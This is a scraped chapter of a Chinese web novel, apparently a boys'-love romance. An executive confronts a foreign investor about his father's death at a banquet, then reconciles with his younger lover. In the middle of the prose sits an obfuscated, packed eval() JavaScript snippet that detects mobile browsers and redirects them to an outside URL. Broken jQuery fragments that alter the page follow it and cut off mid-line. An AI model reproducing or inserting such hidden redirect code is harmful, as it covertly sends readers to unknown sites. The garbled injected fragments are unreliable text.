50.第50章 因祸得福

作品:《年下小狼狗动机不纯

    等聂司卓和陆斯年离开,慕时卿找了个位置坐下,他有预感,海跃投资的人一定会主动过来找他。


    事实确实如此,在他喝下第二口酒后,那个外国男人走了过来。


    “慕总。”对方中文发音标准。


    慕时卿像是才发现对方的靠近,恰到好处地表现出一丝意外,但没有要站起来的意思:“你是?”


    外国男人一点都不介意慕时卿的傲慢,很绅士地笑着拉开一旁的椅子,坐了下来。


    慕时卿微微眯起眼睛,不问就坐,倒是不客气。


    “我认识你父亲。”外国男人靠向椅背。


    慕时卿听到这话,眯起的眼睛瞬间睁开。


    记忆中的身影一点点跟眼前的人重合。


    年少时,他曾几次遇到父亲跟一个神秘的外国男人见面,举止十分亲昵,起初他以为是关系十分要好的友人,直到他察觉自己的性取向异于常人,才逐渐意识到,父亲跟那个男人的关系或许并不简单。


    可那个男人之后没再出现,他无法验证自己的猜想,却因为这个怀疑,跟父亲产生了隔阂。


    直到三年多前的某一天,他再次见到了那个男人,男人上了父亲的车,他从未看到过对方的正脸,只是一直以来的心结,让他一眼就认出了对方。


    那晚他一夜未眠,想等父亲回来问清楚,但他没等回父亲,而是等回了父亲因脑溢血离世的噩耗。


    这个疑团的答案,以及解除他心结的钥匙,随着父亲一起被埋葬。


    而眼前的男人,无论是侧影还是背影,都跟他记忆里的神秘男人一模一样。


    此时外国男人坐姿散漫潇洒,仿佛自己才是先落座的那个人。


    慕时卿收回神思,那一瞬的眼神变化被他很好地掩饰掉了,他装作不感兴趣,实则将话题往他想要的方向引:“是吗?那你们应该不熟吧,我没听他提起过。”


    对方并没有顺着这个话题往下聊。


    “你跟他很不一样。”外国男人说。


    慕时卿并不意外,对方不是普通人,不上钩也正常,他笑笑,“我跟你好像也不熟吧。”


    怎么就知道他跟父亲不一样了?


    即便真的不一样,他也不想被一个陌生人,或者说被一个有可能破坏过他家庭的人作出评价。


    外国男人主动伸长手臂,想要碰杯:“那就先认识一下,艾利克斯,海跃投资的负责人。”


    慕时卿没动,两个杯子还差些距离:“海跃投资?没听说过。”


    被冷漠对待,艾利克斯没有生气,反而勾着嘴角,前倾身体,碰了慕时卿的杯子:“慕总不会没听过,你不是已经派人调查我们了吗?”


    慕时卿低头看了看杯子里的酒,没喝:“我好像想起来了,我之前见过你,在我父亲过世的前一晚。”


    对方喜欢打明牌,正和他意,他也懒得跟这种人精打太极。


    “你上了我父亲的车,我很想知道,为什么我父亲之前还好端端的,第二天就脑溢血走了?”


    慕时卿出招太过干脆利落,艾利克斯神色微凝,浅色的睫毛垂下,遮住了灰蓝色的眼睛,看着像是在难过,又像是在调整情绪,酝酿该如何接招。


    慕时卿沉默着等待回答,同时也在观察对方。


    他不指望一个对手会说实话,但他可以通过对方的反应、回答去分析出自己想要的信息。


    艾利克斯盯着手中的酒杯,语气里充满哀伤:“你父亲去世,我也很难过。”


    说完这句,他才抬起眼睛,目光柔和,表情真挚:“那天我要赶飞机,跟他简单聊了几句后,我就打车去了机场,回到米国后才收到他去逝的消息。”


    慕时卿缓缓点头。


    这个艾利克斯,说话风格前后不一,之前说什么都是避重就轻、答非所问,现在倒是回答得详细。


    “刚才听你的话,好像跟家父很熟。”他继续道,“那怎么没见你来参加他的葬礼?”


    都熟到可以判断他的性情跟父亲一不一样了,却连葬礼都不来参加,那不是更奇怪?


    他最擅长的就是发现破绽和漏洞,只要对手在撒谎,他就有办法让对方现出原形。


    这世界上根本没有天衣无缝的谎言。


    艾利克斯眉头微动,像是被这记回马枪杀得有些措手不及。


    慕时卿自信,只要再过几招,就能让这人失了分寸。


    “因为有事情耽搁了。”艾利克斯身体又靠回到了椅背上,“你一直问这些问题,该不会是怀疑,你父亲的死跟我有关吧?”


    慕时卿闻言,面露困惑:“你怎么会这么想?对外公布都说我父亲是因为急病去世,难道你觉得是人为的?”


    艾利克斯脸上的神色又凝固一瞬。


    “怎么会。”他倾了倾身,借着放酒杯的动作垂下眼睛。


    慕时卿知道是他的注视和咄咄逼人,让对方不适了。


    他在心里嗤笑一声。


    既然敢主动招惹他,还装出很了解他的样子,不会连他的行事风格都没摸透吧?


    就在他以为对面的人不过如此的时候,艾利克斯忽然抬起眼睫,灰蓝色的眸子越过上目线,望了过来,嘴角还噙着一抹看似温和的笑。


    从慕时卿的角度看,却有种让人心里不适的邪恶感。


    这人没有他想象的那么简单。


    果然,艾利克斯一改方才的拘谨,整个人都松弛了下来,笑眯眯地问道:“接下来,你是不是要追问,那天我跟你父亲聊了什么?”


    慕时卿沉默。


    他刚才确实是想乘胜追击,询问出当年的一些真相,现在看来,得改变策略了。


    “问了你会回答吗?”他目光变得犀利,语调却悠缓,“还是,你有什么不可告人的秘密,心虚不敢说?”


    他直接丢给艾利克斯两条路,不回答就是心虚,回答的话,他也能分辨真伪,提取有用信息。


    “告诉你也可以,不过你拿什么换呢?”艾利克斯很狡猾,不但将问题抛了回来,还眼神暧昧地从慕时卿的眉心开始往下描摹。


    那蛇信子一样的视线刚落在慕时卿的鼻尖,就被一个高大的身影切断了。


    艾利克斯眼底升起一丝烦躁,缓缓抬头,看到了面色不虞的聂司卓。


    “请问你哪位?”聂司卓低头,居高临下地看着艾利克斯,“这里是商业晚宴,受邀请才能进,你有邀请函吗?没有的话请离开。”


    艾利克斯眉心微蹙。


    聂司卓就那么吊儿郎当地站在中间,等待回复。


    邀请函已经交给晚宴接待处的人,如果这个老男人回答说有,他就大张旗鼓地把接待处的人叫过来询问,到时候周围的人一定会看热闹,就算核实了情况,也能让这老男人面子尽失。


    艾利克斯看穿了聂司卓的计划,慢悠悠地站起身。


    不远处喝酒看热闹的陆斯年惊讶发现,聂司卓跟老法拉利居然一样高,那天不怕地不怕的气势,一点不输老法拉力。


    之前是他小看聂司卓了,一直把人当小孩看。


    “慕总,看来今天的谈话只能到此为止了。”艾利克斯说道。


    慕时卿趁着对方看不见自己,抬手推了下眼镜,顺便揉了下额角。


    聂司卓这笨蛋,这时候跳出来干嘛。


    他无声地叹了一口气,也站了起来。


    “没关系,以后有的是机会。”


    艾利克斯笑着看了看聂司卓,目光又落回到慕时卿脸上。


    “今晚聊得很愉快。”他伸出手。


    三个身材模样都十分出众的男人,以奇怪的站位聚在一起,引来不少人的注意。


    慕时卿刚要勉为其难地握上去,聂司卓比他快一步握住了艾利克斯的手,并附赠一句:“慢走,不送。”


    聂司卓手上的力道应该不轻,因为慕时卿看到,艾利克斯的眉头皱了一下,下颚也绷得厉害。


    周围还有人在看着,而且聂远山的助理已经跑去找聂远山了,他在心里捏了一下眉心,拍拍聂司卓的后腰,示意对方收手。


    聂司卓听话地收回手,冲艾利克斯挑眉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338986|181287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    艾利克斯握拳缓解疼痛,他咬肌发紧,脸上却仍然挂着笑容:“慕总,调教得不错啊。”


    慕时卿悬着的心终于还是死了。


    对方看出了他跟聂司卓的关系不简单,起码看出了聂司卓对他的态度不一般,这将会成为一个很大的隐患。


    可他不能表现出担忧,故意曲解道:“安德森先生,你中文好像不太好,调教不是这么用的。”


    安德森是艾利克斯的姓,刚才艾利克斯自报家门时并没有告诉他,但之前他让秦毅查海跃投资,高管名单里就有一个人叫艾利克斯,姓安德森。


    他这么称呼,是想告诉对方,他很清楚对方的底细,算是一种反威慑。


    艾利克斯只是意味深长地笑了一下,没再说什么,转身离开。


    看着人走远,慕时卿坐回原位。


    聂司卓气哼哼地坐下:“一看就不是好东西。”


    慕时卿咬着后牙槽喝了一口酒,借着酒杯的遮挡问道:“你过来做什么?”


    聂司卓愣了愣,看慕时卿极力克制的表情,终于意识到自己闯祸了。


    “我、他不怀好意地看着你……”


    慕时卿瞥了他一眼,他赶紧噤声,眼尾都耷拉了下去。


    “来之前我跟你说了什么,你忘了?”慕时卿问。


    说了保持距离,拿捏好分寸,怎么就是不听呢?


    聂司卓低头。


    慕时卿额角抽了抽:“抬起头,别忘了你现在的身份。”


    聂司卓抬头,但眼里仍有委屈。


    慕时卿觉得自己不能再待下去了,喝完最后一口酒,站起身,边扣扣子边说道:“我回去了,你好好反思一下刚才的行为。”


    聂司卓跟着站了起来,想送慕时卿出去。


    慕时卿抬眼,看到艾利克斯朝他举杯。


    “别跟着我。”他对聂司卓说。


    聂司卓心像是被什么揪了一下。


    慕时卿走后,陆斯年过来幸灾乐祸:“哎哟,惹老板生气了吧。”


    聂司卓闷闷不乐地瞥了陆斯年一眼,转身走了。


    陆斯年:……,看来受到的打击不小。


    慕时卿回到公寓,心情同样不好,洗完澡后,本想去书房复盘一下今天的事,但思绪烦乱,什么都梳理不出来,索性回房间躺着。


    艾利克斯的出现,确实给他带来了很大的冲击,父亲的意外离世和那个困扰了他多年的心结,都跟这个人有关,可他不是没有面对过更棘手的困境,按理不应该这么烦躁不安。


    是因为聂司卓吗?因为他和聂司卓的事被艾利克斯察觉了,所以才会产生这种失控的感觉。


    如果艾利克斯及其团伙,就是当年想要搞垮慕氏的幕后黑手,那按照这些人的行事风格,很可能会对他身边的人下手,聂司卓很可能会受到牵连。


    一想到这他的头就开始痛了起来,起床想喝酒压一压,却发现酒柜里只剩下葡萄酒。


    之前他还以为自己不会再失眠,所以只从秦毅那里拿了葡萄酒。


    呵,他居然改变了自己的习惯。


    灌了一杯葡萄酒后,他又回房躺着,时间已经过12点,聂司卓被他训了一顿,估计是不会回来了。


    他闭起眼睛,借着那一大杯酒的酒劲迷迷糊糊地睡着了,不知过了多久,被子钻进一个散发着橙香的身体,一双结实有力的手臂抱住了他。


    他睁开眼,借着朦胧的灯光,看到了聂司卓那张委屈巴巴却格外英俊的脸。


    不知道是不是睡前喝的酒后劲太大,他恍惚间有种正在做梦的感觉。


    他先伸手碰了碰聂司卓的鼻尖,很真实,又点了点聂司卓的唇,很软。


    聂司卓轻轻咬了一下那根手指,然后气哼哼地控诉道:“你怎么这样,丢下我,又来撩拨我。”


    慕时卿笑起来,“那补偿你好不好?”


    聂司卓目光忽闪,满怀期待又小心翼翼地问道:“你想怎么补偿?”


    慕时卿又点了点他的唇,目光迷离:“给你派单。”